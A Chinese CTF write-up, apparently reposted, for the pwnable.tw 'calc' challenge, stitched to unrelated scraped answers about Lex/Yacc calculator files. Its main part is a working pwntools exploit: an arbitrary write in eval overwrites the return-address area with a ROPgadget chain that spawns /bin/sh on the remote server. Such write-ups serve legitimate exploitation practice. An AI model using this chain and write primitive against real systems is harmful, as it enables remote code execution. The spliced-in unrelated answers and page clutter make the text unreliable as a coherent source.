pwnable.tw calc

题目代码量比较大(对于菜鸡我来说orz),找了很久才发现一个能利用的漏洞

运行之发现是一个计算器的程序,简单测试下发现当输入的操作数超过10位时会有一个整型溢出

这里调试了一下发现是printf("%d",num[num-1])时要输出的结果超过了2^31,2147483648即0x80000000,所以这应该算是一个bug并不是一个可利用的漏洞(32位程序最大输出2^31的原因是int类型最高位是符号标志位)

下面我们逆向一下整个程序找到真正可利用的漏洞

其中get_expr函数在读入时会进行字符的过滤,只会读取+-*/%和数字。可以看到get_expr和parse_expr前都会进行expression和num栈空间清零,这里num记录的是进行parse_expr时数字的总个数

下面看一下parse_expr函数

以下根据符号求表达式值过程省略,可以看到get_expr函数进行表达式求值处理的过程也是不存在漏洞的。

这里真正存在的漏洞是eval中的一个任意地址写的漏洞,我们在calc的返回地址栈空间利用这个任意地址写构造一个ROP即可

 

这里最暴力的方法是利用ROPgadget生成ropchain,然后利用eval的任意地址写直接修改内存即可

from pwn import *



context.log_level='DEBUG'

r=remote('chall.pwnable.tw',10100)



r.recv()



from struct import pack



# Padding goes here

p = ''



p += pack('<I', 0x080701aa) # pop edx ; ret

p += pack('<I', 0x080ec060) # @ .data

p += pack('<I', 0x0805c34b) # pop eax ; ret

p += '/bin'

p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret

p += pack('<I', 0x080701aa) # pop edx ; ret

p += pack('<I', 0x080ec064) # @ .data + 4

p += pack('<I', 0x0805c34b) # pop eax ; ret

p += '//sh'

p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret

p += pack('<I', 0x080701aa) # pop edx ; ret

p += pack('<I', 0x080ec068) # @ .data + 8

p += pack('<I', 0x080550d0) # xor eax, eax ; ret

p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret

p += pack('<I', 0x080481d1) # pop ebx ; ret

p += pack('<I', 0x080ec060) # @ .data

p += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret

p += pack('<I', 0x080ec068) # @ .data + 8

p += pack('<I', 0x080ec060) # padding without overwrite ebx

p += pack('<I', 0x080701aa) # pop edx ; ret

p += pack('<I', 0x080ec068) # @ .data + 8

p += pack('<I', 0x080550d0) # xor eax, eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x08049a21) # int 0x80



def set_val(addr):

    r.sendline('+'+str(addr))

    val=int(r.recv(100))

    if val>0:

        r.sendline('+'+str(addr)+'-'+str(val)+'+'+str(u32(p[(addr-361)*4:(addr-361+1)*4])))

    else:

        r.sendline('+'+str(addr)+'+'+str(-val)+'+'+str(u32(p[(addr-361)*4:(addr-361+1)*4])))

    r.recv()



for i in range(361,361+len(p)/4):

    set_val(i)



r.interactive()

 

转载于:https://www.cnblogs.com/snip3r/p/10402528.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: calc1.l、calc1.y、calc2.l和calc2.y是一种被称为Lex和Yacc的工具组合,用于生成词法分析器和语法分析器。 calc1.l文件是Lex文件,包含对输入文本进行词法分析的规则。这些规则定义了如何将输入文本切分成一个个词法单元,例如标识符、关键字、运算符等。calc1.l文件还可以执行词法单元的一些简单处理,例如去除空格、注释等。 calc1.y文件是Yacc文件,包含了对输入文本进行语法分析的规则。这些规则描述了输入文本的语法结构,即如何将词法单元按照语法规则组合成整体的语法结构。calc1.y文件还可以执行一些语义动作,例如生成抽象语法树,以便进行后续的语义分析和代码生成。 calc2.l和calc2.y文件类似于calc1.l和calc1.y文件,但可能包含不同的规则和语法结构。这取决于具体的应用场景和需求。例如,calc2.l和calc2.y可以用于解析另一种编程语言或特定的文件格式。 综上所述,calc1.l、calc1.y、calc2.l和calc2.y是用于生成词法分析器和语法分析器的工具文件。它们通过定义词法规则和语法规则,帮助开发人员构建用于编译、解析和处理特定文本的工具。 ### 回答2: calc1.l, calc1.y, calc2.l, calc2.y 是一类用于构建计算器的代码文件。 calc1.l 是一个词法分析器(lexer)文件。它使用 Flex 工具来处理输入的字符流,并将其转化为一个单个单词(token)序列。词法分析器负责识别输入中的每个单词及其对应的类型,如关键字、标识符、运算符、常量等。 calc1.y 是一个语法分析器(parser)文件。它使用 Yacc 或 Bison 工具来处理由词法分析器生成的单词序列,并根据语法规则构造语法树。语法分析器负责检查输入的语法是否符合指定的语法规则,并将其转换为可执行代码。 calc2.l 和 calc2.y 可能是 calc1.l 和 calc1.y 的变种,或者是 calc1.l 和 calc1.y 的升级版本。这两个文件通常表示了对计算器的改进或扩展。可能通过添加更多的词汇、引入更复杂的语法规则、支持新的操作符或函数等方式,提供了更丰富的功能和更高的灵活性。 以上就是关于 calc1.l, calc1.y, calc2.l, calc2.y 的简要介绍。这些文件在构建计算器这类程序中起到重要的作用,使得输入的表达式能够被正确解析和计算。 ### 回答3: calc1.l、calc1.y、calc2.l、calc2.y是四个文件的名称,它们通常被用于构建基于词法分析和语法分析的编译器或解释器。 calc1.l文件通常是使用Lex工具生成的词法分析器。这个文件定义了一系列正则表达式规则,用来匹配输入源代码中的词法单元。它会将源代码中的文本分解成一系列标记,例如关键字、标识符、运算符等。这些标记将被传递给calc1.y文件进行语法分析。 calc1.y文件通常是使用Yacc或Bison工具生成的语法分析器。这个文件定义了代码语法的规则和语义动作。它将接收从calc1.l文件传递过来的标记流,并根据语法规则进行分析和解释。它会构建一个语法树,用来表示源代码的结构,并根据语义动作对其进行处理,例如执行计算、生成中间代码等。 类似地,calc2.l和calc2.y文件也是词法分析器和语法分析器。它们可能与calc1.l和calc1.y文件有一些细微的差别,例如支持不同的语法规则、词法单元等。这些文件之间的区别往往取决于具体的编程语言或领域需求。 总之,这四个文件是构建词法分析器和语法分析器所必需的组成部分。它们共同协作,将源代码进行分析和解释,从而实现编译器或解释器的功能。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值